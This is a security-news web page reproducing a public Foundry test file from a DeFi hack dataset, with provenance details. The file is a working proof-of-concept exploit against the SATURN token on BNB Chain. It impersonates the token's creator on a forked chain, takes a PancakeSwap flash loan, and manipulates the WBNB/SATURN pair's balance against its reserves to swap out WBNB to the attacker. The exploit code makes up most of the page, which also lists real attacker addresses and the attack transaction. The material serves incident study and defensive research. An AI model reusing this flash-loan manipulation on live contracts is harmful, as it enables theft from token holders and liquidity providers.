Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/SATURN_exp.sol

Public reproduction file for dataset entry SATURN.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/SATURN_exp.sol132 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~15 BNB
8// Attacker : 0xc468D9A3a5557BfF457586438c130E3AFbeC2ff9
9// Attack Contract : 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC
10// Vulnerable Contract : 0x9BDF251435cBC6774c7796632e9C80B233055b93
11// Attack Tx : https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x9BDF251435cBC6774c7796632e9C80B233055b93#code
15contract ContractTest is Test {
16 address public attacker = address(this);
17 address public SATURN_creater = 0xc8Ce1ecDfb7be4c5a661DEb6C1664Ab98df3Cd62;
18 address internal holderOfToken = 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC;
20 Uni_Pair_V3 pancakeV3Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
21 IPancakePair pair_WBNB_SATURN = IPancakePair(0x49BA6c20D3e95374fc1b19D537884b5595AA6124);
22 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
23 IERC20 constant SATURN = IERC20(0x9BDF251435cBC6774c7796632e9C80B233055b93);
24 IERC20 constant BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
25 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
27 uint256 flashAmt = 3300 ether;
28 uint256 finalSaturnSellAmt = 228_832_951_945_080_091_523_153;
30 modifier balanceLog() {
31 emit log_named_decimal_uint("Attacker WBNB Balance Before exploit", WBNB.balanceOf(address(this)), 18);
32 _;
33 emit log_named_decimal_uint("Attacker WBNB Balance After exploit", WBNB.balanceOf(address(this)), 18);
34 }
36 function setUp() public {
37 vm.createSelectFork("bsc", 38_488_209 - 1);
38 vm.label(address(SATURN), "SATURN");
39 vm.label(address(WBNB), "WBNB");
40 vm.label(address(router), "PancakeSwap Router");
41 vm.label(address(pair_WBNB_SATURN), "pair_WBNB_SATURN");
42 vm.label(address(pancakeV3Pool), "pancakeV3Pool");
43 }
45 function approveAll() public {
46 SATURN.approve(address(router), type(uint256).max);
47 WBNB.approve(address(router), type(uint256).max);
48 }
50 function EnableSwitch(
51 bool state
52 ) internal {
53 vm.prank(SATURN_creater);
54 address(SATURN).call(abi.encodeWithSignature("setEnableSwitch(bool)", state));
55 }
57 function testExploit() public balanceLog {
58 approveAll();
59 // init saturn token
61 EnableSwitch(false);
63 vm.startPrank(holderOfToken);
64 SATURN.transfer(attacker, SATURN.balanceOf(holderOfToken));
65 vm.stopPrank();
67 EnableSwitch(true);
69 // start attack
70 pancakeV3Pool.flash(attacker, 0, flashAmt, bytes(""));
71 }
73 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
74 // Get the everyTimeSellLimitAmount from the SATURN contract
75 uint256 limit = getEveryTimeSellLimitAmount();
77 // Get the current balance of SATURN in the pair_WBNB_SATURN pool
78 uint256 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
80 // Define the swap paths
81 address[] memory buyPath = getPath(address(WBNB), address(SATURN));
82 address[] memory sellPath = getPath(address(SATURN), address(WBNB));
84 // Calculate the amount of WBNB needed to swap for SATURN
85 uint256[] memory amounts = router.getAmountsIn(amount - limit, buyPath);
87 // Swap WBNB for SATURN and send the SATURN to the SATURN_creater
88 swapExactTokensForTokens(amounts[0], buyPath);
90 // Update the amount of SATURN in the pair_WBNB_SATURN pool
91 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
93 // Move the block number forward by 1
94 vm.roll(block.number + 1);
96 // Transfer a specific amount of SATURN to the pair_WBNB_SATURN pool
97 SATURN.transfer(address(pair_WBNB_SATURN), finalSaturnSellAmt);
99 // Get the current reserves of SATURN and WBNB in the pair_WBNB_SATURN pool
100 (uint256 SATURN_reserve, uint256 WBNB_reserve,) = pair_WBNB_SATURN.getReserves();
102 // Update the amount of SATURN in the pair_WBNB_SATURN pool
103 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
105 // Calculate the amount of WBNB that will be received when swapping SATURN
106 amounts = router.getAmountsOut(amount - SATURN_reserve, sellPath);
108 // Perform the swap in the pair_WBNB_SATURN pool and send the WBNB to the attacker
109 pair_WBNB_SATURN.swap(0, amounts[1], attacker, bytes(""));
111 // Transfer WBNB to the pancakeV3Pool, including the fee
112 WBNB.transfer(address(pancakeV3Pool), flashAmt + fee1);
113 }
115 function getEveryTimeSellLimitAmount() internal returns (uint256) {
116 (, bytes memory result) = address(SATURN).call(abi.encodeWithSignature("everyTimeSellLimitAmount()"));
117 return abi.decode(result, (uint256));
118 }
120 function swapExactTokensForTokens(uint256 amountIn, address[] memory path) internal {
121 router.swapExactTokensForTokens(amountIn, 0, path, SATURN_creater, type(uint256).max);
122 }
124 function getPath(address token0, address token1) internal pure returns (address[] memory) {
125 address[] memory path = new address[](2);
126 path[0] = token0;
127 path[1] = token1;
128 return path;
129 }
131 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “SATURN” (2024-05-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc468d9a3a5557bff457586438c130e3afbec2ff9

  • Attack Contract

    0xfcecdbc62dee7233e1c831d06653b5bea7845fcc

  • Vulnerable Contract

    0x9bdf251435cbc6774c7796632e9c80b233055b93

  • Attack Tx

    0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312

File record

Name
SATURN
Path
src/test/2024-05/SATURN_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
71beb7c4be5dcf5fbf22f684eeacaf1e419796c4
Language
Solidity
Size
133 lines
Date
2024-05-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/SATURN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 71beb7c4be5dcf5fbf22f684eeacaf1e419796c4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.